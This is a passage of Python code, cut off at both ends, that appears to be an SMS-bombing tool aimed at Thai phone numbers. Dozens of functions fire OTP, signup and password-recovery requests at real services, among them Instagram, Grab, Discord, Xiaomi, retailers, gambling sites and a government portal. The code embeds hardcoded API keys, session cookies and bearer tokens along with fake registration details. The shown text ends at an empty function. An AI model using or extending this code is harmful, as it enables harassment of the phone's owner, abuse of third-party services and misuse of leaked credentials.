post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": "auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): 